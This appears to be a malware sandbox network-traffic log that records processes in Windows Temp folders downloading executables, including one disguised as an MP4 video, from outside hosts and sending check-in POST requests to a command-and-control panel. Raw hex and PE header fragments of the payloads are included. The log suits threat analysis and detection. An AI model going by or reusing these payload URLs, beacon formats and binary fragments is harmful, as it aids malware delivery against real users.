Nov 2, 2024 07:16:09.037837982 CET	1236	IN	Data Raw: 28 14 00 00 06 2a 52 02 03 28 1f 00 00 06 03 28 20 00 00 06 04 28 16 00 00 06 2a 3a 02 03 04 73 e3 03 00 06 28 16 00 00 06 2a 76 02 03 04 28 21 00 00 06 05 28 78 00 00 06 02 03 7d 02 00 00 04 02 04 7d 03 00 00 04 2a 1e 02 7b 03 00 00 04 2a 1e 02 Data Ascii: (R(( (:s(v(!(x}}{{"("(2s(#J(o(%6s(%R(/(0(':s('v(1(x}}{{"(-*
Nov 2, 2024 07:16:09.037847996 CET	1236	IN	Data Raw: 02 28 88 00 00 06 2a 16 2a 8e 18 8d 01 00 00 01 25 16 02 28 a9 05 00 06 8c 45 00 00 01 a2 25 17 02 7b 1c 00 00 04 a2 28 b8 01 00 06 2a 4a 02 7b 1c 00 00 04 03 7b 1c 00 00 04 6f 96 00 00 0a 2a 1e 02 7b 97 00 00 0a 2a 1e 02 7b 98 00 00 0a 2a 1e 02 Data Ascii: (*%(E%{(J{{o{{{{:{(6{o{'ooN:{'oooN*{"o{#o{$o{%o{&o
Nov 2, 2024 07:16:09.037961960 CET	1236	IN	Data Raw: 33 00 00 04 02 7c 33 00 00 04 28 d6 00 00 0a 2a 4a 02 7b 2c 00 00 04 02 28 e0 00 00 06 6f d7 00 00 0a 2a 4a 02 7b 2c 00 00 04 02 28 e1 00 00 06 6f d7 00 00 0a 2a b6 02 7c 34 00 00 04 28 d4 00 00 0a 3a 11 00 00 00 02 02 28 fe 00 00 06 73 d5 00 00 Data Ascii: 3\|3(J{,(oJ{,(o\|4(:(s}4\|4(\|7(:((ZYs}7\|7(\|5(:(s}5\|5(6 (~#D(e(
Nov 2, 2024 07:16:09.037977934 CET	848	IN	Data Raw: 46 00 00 04 2a 4a 02 28 79 00 00 06 02 7b 45 00 00 04 6f 26 02 00 06 2a 4a 02 28 79 00 00 06 02 28 5a 01 00 06 6f 31 02 00 06 2a 4a 02 28 79 00 00 06 02 7b 47 00 00 04 6f 26 02 00 06 2a 4a 02 28 79 00 00 06 02 28 5c 01 00 06 6f 31 02 00 06 2a 6e Data Ascii: FJ(y{Eo&J(y(Zo1J(y{Go&J(y(\o1n(9u(`{E{E(9#{F{F@{G{G((9(o(d~CFo(l(9(o
Nov 2, 2024 07:16:09.037987947 CET	1236	IN	Data Raw: 73 e3 03 00 06 28 91 01 00 06 2a 2e 02 03 04 17 05 28 a3 01 00 06 2a 1e 02 28 a5 01 00 06 2a 1e 02 28 a7 01 00 06 2a 1e 02 28 aa 01 00 06 2a 1e 02 28 ab 01 00 06 2a 3a 02 28 7a 00 00 06 17 59 1c 5d 16 fe 01 2a 22 02 15 28 9b 01 00 06 2a 22 02 17 Data Ascii: s(.(((((:(zY]"("(((oK(oK(oU>s(oo!o"((>s(2((((oK
Nov 2, 2024 07:16:09.037996054 CET	212	IN	Data Raw: 05 28 30 00 00 0a 02 03 7d 6d 00 00 04 2a a6 02 03 04 28 31 00 00 0a 02 03 72 45 01 00 70 d0 03 00 00 01 28 32 00 00 0a 6f 33 00 00 0a a5 03 00 00 01 7d 6d 00 00 04 2a 6a 03 72 53 01 00 70 02 7b 6d 00 00 04 6f 34 00 00 0a 02 03 04 28 35 00 00 0a Data Ascii: (0}m(1rEp(2o3}mjrSp{mo4(5{m2s(J(o(6s(o!o"o%o#o$(Ns(*F
Nov 2, 2024 07:16:09.038005114 CET	1236	IN	Data Raw: 06 28 ec 02 00 06 2a 1e 02 28 ed 02 00 06 2a 1e 02 28 ee 02 00 06 2a 1e 02 28 ef 02 00 06 2a 1e 02 28 f0 02 00 06 2a 1e 02 28 f1 02 00 06 2a 22 02 15 28 e3 02 00 06 2a 22 02 17 28 e3 02 00 06 2a 3a 02 03 04 73 e3 03 00 06 28 e6 02 00 06 2a b2 02 Data Ascii: (((((("("(:s(o!o"o%o#o$(Vs(J(Vs({rn(9uG(**{q{q(9
Nov 2, 2024 07:16:09.038016081 CET	1236	IN	Data Raw: 28 4f 03 00 06 2a 1e 02 28 53 03 00 06 2a 1e 02 28 56 03 00 06 2a 1e 02 28 57 03 00 06 2a 3a 02 28 7a 00 00 06 17 59 19 5d 16 fe 01 2a 22 02 15 28 46 03 00 06 2a 22 02 17 28 46 03 00 06 2a ae 03 02 28 41 03 00 06 03 02 28 85 05 00 06 6f 4b 02 00 Data Ascii: (O(S(V(W:(zY]"(F"(F(A(oK(oK(oU>s(Ioo!o"((K>s(K2(O(W(Y(oK(oK(oV*>
Nov 2, 2024 07:16:09.038032055 CET	1236	IN	Data Raw: 70 6f 03 01 00 0a 18 8d 01 00 00 01 25 16 02 8c 45 00 00 01 a2 25 17 03 8c 45 00 00 01 a2 28 86 03 00 06 2a b6 7e 95 00 00 04 72 75 06 00 70 6f 03 01 00 0a 18 8d 01 00 00 01 25 16 02 8c 45 00 00 01 a2 25 17 03 8c 45 00 00 01 a2 28 86 03 00 06 2a Data Ascii: po%E%E(~rupo%E%E(~rpo%E%E(~rpo%%(~rpo%E%(B~rpoB~r/po*B~
Nov 2, 2024 07:16:09.042866945 CET	1236	IN	Data Raw: 02 28 bf 03 00 06 6f 00 02 00 06 2a 32 02 7e 43 00 00 0a 6f c8 03 00 06 2a 92 02 7c 99 00 00 04 03 28 54 00 00 0a 02 7c 9b 00 00 04 03 28 54 00 00 0a 02 28 b8 03 00 06 73 b3 03 00 06 2a f2 02 28 e1 03 00 06 03 7e 43 00 00 0a 28 c9 00 00 0a 39 01 Data Ascii: (o2~Co\|(T\|(T(s(~C(9\|(T}\|(T}2~Co2~Co~%(R9r1psz(}\|(T}~%(R9r1psz(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	63806	208.109.77.116	80	1748	C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:10.426939011 CET	85	OUT	GET /panel/uploads/Luvzkkz.mp4 HTTP/1.1 Host: wasni.care Connection: Keep-Alive
Nov 2, 2024 07:16:11.090641975 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Sat, 02 Nov 2024 03:43:31 GMT ETag: "b407f4-180c10-625e5dafbbeb5" Accept-Ranges: bytes Content-Length: 1575952 Vary: Accept-Encoding Keep-Alive: timeout=5 Content-Type: video/mp4 Data Raw: 83 a2 1f 71 4c 4e 68 f0 ec b8 82 2b f1 ab e5 f6 5d 21 41 36 23 c4 4d 12 3d ea 57 ce 91 04 7c 56 f1 63 06 ab 55 0b 78 91 70 fc 59 f0 17 2f 01 1b 38 f7 37 cf 0c a4 a7 6d 93 9a 62 a5 53 cc db 2a a2 56 70 48 90 12 c8 02 3c b6 3a 6c f5 e9 6d 4b 23 23 e8 75 9b 95 ca 2b d4 45 3e e0 23 2d 22 83 f8 db b9 54 b8 56 a4 bd 5f f4 f8 d2 5e 72 e4 08 6f 4d 15 e6 b5 f0 4e 1d 06 dc 0c d9 9f 03 75 0f 63 a2 06 ac 6d 2b 3c 30 9e 6b f1 55 61 6e 2e e5 c6 9f 00 d4 04 66 7e 99 7a 0b 98 ad 02 08 d8 b1 96 d8 31 7c 33 a9 38 20 34 9e aa 7b 36 1d a6 a7 5a dd 46 8e 45 70 e5 dd 93 84 ac e3 c9 07 cd 3c e6 54 8b 5f cf 34 ef 0e f9 ed fc 1a d1 1e 1a e1 80 43 1b ab de db 96 9a 56 b5 33 6b 6d b3 81 d5 65 1f e3 de d9 4c 92 8d 22 56 f4 48 74 41 c5 dc b3 46 32 3f 4c 52 30 dc f0 64 31 9e a4 fe 91 9b cb 82 a1 0e 11 40 05 b6 d7 cd 5b d8 ca b4 32 8c 32 48 13 1b 20 c9 d1 fb 13 a3 ea a6 23 3f d4 44 54 9b 91 72 19 32 2a 87 27 94 e9 39 8b 36 fc 94 44 69 61 bc 5c 91 39 ed 9c 19 a0 0c 17 e2 57 59 e4 89 6f 8b 5b 2a 4b e6 7f 76 c3 ec 64 ed 7c d4 6f fb [TRUNCATED] Data Ascii: qLNh+]!A6#M=W\|VcUxpY/87mbSVpH<:lmK##u+E>#-"TV_^roMNucm+<0kUan.f~z1\|38 4{6ZFEp<T_4CV3kmeL"VHtAF2?LR0d1@[22H #?DTr2'96Dia\9WYo[Kvd\|ot9B2<R9c_qkk_GF~&=-f,t&Ly4xd.@#0enNiQxT[-px~3<mg;W_BS>'V6@sJzyRx>Zx$\|<PrG/b;Qvl#yGHl'('ye'Xz+>"W]1:u-so!s"ap}X\|lp\0),-fqJ46wo@! t4{h1i/b0`ZFg&b]`\|^%Qhy@w-PW95:&m&6z5rP.S=E? ;,8-=<kABxkr7@&LLs}\|g7.oi_\y
Nov 2, 2024 07:16:11.090756893 CET	1236	IN	Data Raw: 1f 2b 2e da b7 04 a2 81 2d ef 2c ea 40 26 2a c6 4d 39 a4 fc 71 87 0e de 3b 57 f3 76 b9 6d d4 72 74 8d f9 5d 2d cd 65 db fc 24 34 25 7c ba 13 7c 88 48 09 69 06 12 cb 48 6d 72 af bd 71 c0 62 ef 99 8c 26 71 85 ce 3e 89 ec b7 84 5e 4f c6 47 81 90 9b Data Ascii: +.-,@&M9q;Wvmrt]-e$4%\|\|HiHmrqb&q>^OG@=\|sSXR3ByaLnI<p^ttK;O"SR%$8nttXw/NtD,@Bx\z0H7dtpA7wA$N}LZMfB5p>
Nov 2, 2024 07:16:11.090771914 CET	1236	IN	Data Raw: 45 93 9e b9 4b c5 83 99 04 f8 1b 98 32 a2 82 f6 f2 30 3d a4 da 89 60 88 23 45 03 9e ad e1 2d f2 f0 cc 69 95 03 82 44 78 ef 31 d9 0a a4 11 5c de 7c 14 ee 3d b9 77 6b 8d 16 4f b6 7e 53 a5 3e c2 ff 03 0f 87 b1 72 5a 90 07 5a 9a d4 02 60 8b 2f 70 d0 Data Ascii: EK20=`#E-iDx1\\|=wkO~S>rZZ`/pAnIe-L1}pMl<Fah-X%4IAr,;NH'\ojvl_@cZzJGVLRt/]"tU d-K(RI&gQQ
Nov 2, 2024 07:16:11.090781927 CET	1236	IN	Data Raw: 72 7a 6b 85 8b 73 97 01 28 34 ec 73 8a cb 6c 66 4b 5a 6e e3 66 a4 bd 56 00 db c3 7c 24 b9 0d 20 bf d5 1c c1 48 32 05 09 26 53 22 2b b1 21 71 01 1e 20 9d 3e 36 e4 42 93 13 ec b5 80 d9 f5 a6 33 ec 3f 60 a8 80 14 25 58 58 a0 88 23 a3 5b cb 36 20 56 Data Ascii: rzks(4slfKZnfV\|$ H2&S"+!q >6B3?`%XX#[6 V'EEf%(886## rB4Z)OSV'T~2yt72Z-t/ZQezi-m9HP$%_g4u]G[e)k8z#\4?3Mz:JL,
Nov 2, 2024 07:16:11.090792894 CET	848	IN	Data Raw: 4c 9f 05 d5 e0 b6 b9 30 69 2d 30 3f fd a2 38 8e d5 7a 16 f7 50 e9 38 7a 4b b7 9a 6a 5e 65 46 25 7c 95 28 27 58 ac 90 5c 26 0f e5 7a 9e ba ba 3f 0e 1d f4 44 3e fb 5f 8f 66 34 fb 41 4d 09 0a 3d 4b 3f 88 d1 13 de 13 e9 0a 94 0a 03 ff 18 12 e8 32 d8 Data Ascii: L0i-0?8zP8zKj^eF%\|('X\&z?D>_f4AM=K?2_6ySV%`@C0O#$BR2Zm)p9"+l0.Nu$9D5kWB-yPaLf2"iwYBu(KS
Nov 2, 2024 07:16:11.090802908 CET	1236	IN	Data Raw: 41 2b 7c be ec fe 67 c8 03 ff b5 36 4e 25 cb 25 db dd 09 81 27 a6 3b 21 34 e4 be d8 7a 02 c5 c8 6c 37 e4 99 c7 52 ec c5 44 10 4f 6b 55 36 87 9e 56 26 43 2d d9 18 fd ee 36 ea 3b ab 21 17 cb 8f da da b4 0d e6 9c 69 6a d9 d2 f6 f3 08 7a c7 4b 49 77 Data Ascii: A+\|g6N%%';!4zl7RDOkU6V&C-6;!ijzKIw<Ps-XH2EK<zCl)u/s b@u.Z9RgVn'U`r9gqzP`JK[{\ES)18_O#E! IOJGMB\|g[-
Nov 2, 2024 07:16:11.090814114 CET	1236	IN	Data Raw: c2 11 fa f3 a7 0a 78 3b d9 8e 65 ba a1 80 c8 95 2e 1d 81 6c ae a2 dc 0e 70 c6 a5 17 76 18 34 ba 10 3e 16 12 a9 fa ad 4d 66 0e 07 6c 3f a7 60 35 69 74 5b 77 ee ed 00 ea 69 49 65 12 7d 85 16 22 22 03 43 0f 9a d9 a8 bf 85 70 b9 8c 58 e7 2f 0b e6 b6 Data Ascii: x;e.lpv4>Mfl?`5it[wiIe}""CpX/%3OpDCL1KHja)@uK!h=hL"wRp5(5JoFl;2]0Yj/IZ@MNRGB!3Ti5Ap!!
Nov 2, 2024 07:16:11.090826035 CET	1236	IN	Data Raw: ae 39 41 e2 f8 26 68 89 a7 71 12 7a 9c a3 0e e0 21 3c 65 f0 4b 89 86 78 d0 63 ef 38 07 97 c3 20 6c c8 3e 93 aa 8a b0 cf 30 a9 39 c1 c1 25 6a d1 96 04 e1 63 15 4e 36 10 aa 12 16 36 0c 90 de 18 9c 7b 4e 67 37 63 0c f1 0d a0 7b b2 0a 4f b8 3a ca c0 Data Ascii: 9A&hqz!<eKxc8 l>09%jcN66{Ng7c{O:9_^H5A`tb3sM}A&yRx\d'E=wRqV.$D~Kx#F?o+YMOfnoX*:q"v5[5!EvbaE9y,o;
Nov 2, 2024 07:16:11.090835094 CET	636	IN	Data Raw: 1e 8c 74 93 3b fb 79 fc e5 73 1f 48 7b 26 04 ad d3 38 8a 46 cb 31 ee aa c6 b8 d8 d3 c8 1a 51 83 06 a6 7c 11 0f 4f 11 ec 3a c2 6b 7d b0 f2 86 19 f8 12 14 3b 10 5a 3e dc 3d 30 a3 e8 9d 60 43 f9 93 c1 93 7a 77 ae 4a 53 38 b4 65 8b bc 2b b6 2f 7b 2f Data Ascii: t;ysH{&8F1Q\|O:k};Z>=0`CzwJS8e+/{/$dhR@_iT7y5B^A4`4Ww"N(sD7ECel:VHx},V?E c<a/S#AAet6[fwuv
Nov 2, 2024 07:16:11.090845108 CET	1236	IN	Data Raw: 6f 8a 00 3e 3d 17 ed ef 7c 4d d9 71 30 12 4d bc f3 48 bc 4d a1 93 c4 a8 fe ef 47 e4 1f 8f b9 fd 5c 8e 3c b7 7d 7e 53 2d 21 24 fc 7f 3d ae 08 50 a2 37 97 28 3b 74 d6 06 5e 9d 12 40 b0 10 7c db fa eb ea b8 7b d2 48 0b 3e a9 fa 00 19 1d e1 9f ba bf Data Ascii: o>=\|Mq0MHMG\<}~S-!$=P7(;t^@\|{H>pCZ\p_CS[\~C&D@q(HD0F_hS'HM,;pFyBS)[/mv,88f(<9-=*L=llkr9I\M2W]EV
Nov 2, 2024 07:16:11.095634937 CET	1236	IN	Data Raw: cb e4 98 7b 95 8f c0 8d 7e 65 90 a5 a2 6f 9c 1c 26 91 c2 b7 96 b2 7b 02 8e 9f 7e 6e eb e6 4c a0 80 54 07 37 c9 43 57 a2 53 66 e6 33 92 fb 58 21 65 89 17 a9 20 50 2c d6 bb e3 20 16 17 cf 9c 8f 00 5b ee 2b b4 75 ad 1e 19 63 a7 15 b4 93 13 47 91 66 Data Ascii: {~eo&{~nLT7CWSf3X!e P, [+ucGf%PH6F"h[p2z@ftFi.jT,[&YJ(1AOx@fTA-,Z_E.jx&,Glv:/]hBC^/vE6[Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	63813	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:11.766926050 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 33 33 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1003334001&unit=246122658369
Nov 2, 2024 07:16:12.727948904 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	63819	185.215.113.16	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:12.920085907 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 2, 2024 07:16:13.854533911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:13 GMT Content-Type: application/octet-stream Content-Length: 2964480 Last-Modified: Sat, 02 Nov 2024 05:22:32 GMT Connection: keep-alive ETag: "6725b718-2d3c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 50 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 30 00 00 04 00 00 90 79 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJP0@0y-@Th@ ~@.rsrc@@.idata @zjitwqld**@mduizhsw@0-@.taggant0P0"-@
Nov 2, 2024 07:16:13.854578018 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:13.854588985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:13.854608059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:13.854619980 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:13.854718924 CET	1148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 7Y 908QA9Tcv"6FoBFzcWDV\Id`vMwJBbG{aUC#lU{QlGd.zq+U^cR
Nov 2, 2024 07:16:13.854804993 CET	1236	IN	Data Raw: fc 7d 88 1b 91 f0 1a a1 37 2c 68 87 01 5b 6d c5 e5 e9 54 55 85 68 93 fe 67 41 e6 40 c0 4f e3 6d 01 61 4a d6 80 b1 cd 7b df d2 5d 8c e9 28 6d ca eb 73 1c f0 fb 37 34 5e c4 ed f9 bc 97 e5 e8 6a 81 7f f1 f1 d3 94 5b 41 f9 69 89 9b 05 27 20 ae e0 dc Data Ascii: }7,h[mTUhgA@OmaJ{](ms74^j[Ai' 88]:zy}Ip AAdx3Yz"VG7\|UtY5)id{<6Lyg"+tW5,Hi:7h4%x#T*:I&XK ,p[:TTr;'0j:CFEieFi
Nov 2, 2024 07:16:13.854841948 CET	1236	IN	Data Raw: e4 64 53 7f 43 6b ab cf 01 7a 02 5b 8c 95 67 62 b9 f0 03 ae 89 bf 92 4c ee 67 44 04 3a 23 bb f8 99 34 2b 6a a8 a4 5e 84 f0 25 fd 8f 75 c0 ee 55 0f 2c da 6a b0 84 a0 14 5b 75 f1 17 54 b9 6d 0f a3 fc 22 e4 07 f7 93 95 6d ef 42 39 31 69 0a 27 8c 2a Data Ascii: dSCkz[gbLgD:#4+j^%uU,j[uTm"mB91i'~<%)Q3\|O#(l3n5ajVWjHhI`y4#<+kjXcaZoXlVgS'n}\|&g{%zDc~ "v1kb!Q6D.t
Nov 2, 2024 07:16:13.854854107 CET	1236	IN	Data Raw: eb dd 34 72 d5 f3 cb 75 ba e8 ce 22 a1 ef 65 92 ff e2 1a 12 14 3c 74 24 19 63 e3 56 c1 7f f2 29 e1 c7 64 60 e4 a6 18 69 66 e8 5b c3 3a eb ab 1b f8 e3 41 39 01 72 ca 96 58 b1 b3 1e 16 4a 02 82 94 77 68 c8 06 1a bc 08 c8 2c eb d7 e8 aa 19 1b 23 30 Data Ascii: 4ru"e<t$cV)d`if[:A9rXJwh,#0Qu%V\h8)}X<z9P#cq7mKlL`:/wQsW$RT=T>j-sp^cC\!8U}Te7nb+2K \3~`
Nov 2, 2024 07:16:13.854861021 CET	1236	IN	Data Raw: 82 c4 b0 ca fd 39 de bd e3 7b d7 cb 68 7b 17 9d 04 c7 3b 33 06 19 59 dd 84 3e 75 40 f6 64 65 79 04 f5 a8 13 0d b5 fe 3e fd ba 75 d5 a9 91 35 61 b7 56 d9 8a ad 3b 69 06 86 e3 e0 0c fd b3 28 ac 49 fb 1a 54 63 e9 c2 49 7a c3 02 a6 e7 aa 08 51 ec 94 Data Ascii: 9{h{;3Y>u@dey>u5aV;i(ITcIzQy~qAFs'{CE!C@gnnw7+hyFyo(S$33Cdsg]vWH<22!d69F8lJ&k&G$rkQPnx3
Nov 2, 2024 07:16:13.859590054 CET	1236	IN	Data Raw: 13 f8 c6 3a a7 5a d1 56 d3 8f b1 46 7a 0f 5c 4d b0 e0 8e b4 48 c3 98 d8 21 01 61 58 73 2f 01 5b fa d6 cd d0 c7 08 ab 6f 19 b2 5d 4b 3a 53 9f ee 19 cf cc 57 08 22 9f a8 a5 4b 6b 4c 31 3f 6d 6f 46 eb 21 b7 4e de a1 fe 84 7e 42 55 43 35 af 92 dc 76 Data Ascii: :ZVFz\MH!aXs/[o]K:SW"KkL1?moF!N~BUC5vS?~M{)7FR`q]!z\|S'dp+CiqumSLdacRTEMy!,up<3<@dFw:4UyD_dN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	63856	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:19.390825987 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 33 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003343001&unit=246122658369
Nov 2, 2024 07:16:20.309251070 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	63862	185.215.113.16	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:20.328082085 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 2, 2024 07:16:21.270492077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:21 GMT Content-Type: application/octet-stream Content-Length: 2143744 Last-Modified: Sat, 02 Nov 2024 05:22:46 GMT Connection: keep-alive ETag: "6725b726-20b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 20 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 73 00 00 04 00 00 2b ac 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng, s@Ps+!@P.d. p.v@.rsrc .@.idata .@ `*.@onvelaogY@dkmdjfdjs @.taggant0 s" @
Nov 2, 2024 07:16:21.270546913 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:21.270561934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:21.270580053 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 2, 2024 07:16:21.270595074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 95 80 38 1b 4f 9e 78 97 46 ad 47 9c af ad 7a 95 75 31 c2 80 08 2d 53 d9 9d 64 fa 90 18 59 43 15 09 f6 33 e2 79 a2 38 75 6e 31 d4 b2 57 b7 c0 a0 d1 11 43 4a 7d ee 42 cb 80 bc 84 74 7a Data Ascii: 8OxFGzu1-SdYC3y8un1WCJ}Btz9`Bl0GmTHU5yDV,C=NLIL+O<T^<l*k",z`x\|U:0e?PGc75]LQ[!i.w>N.eP_"!
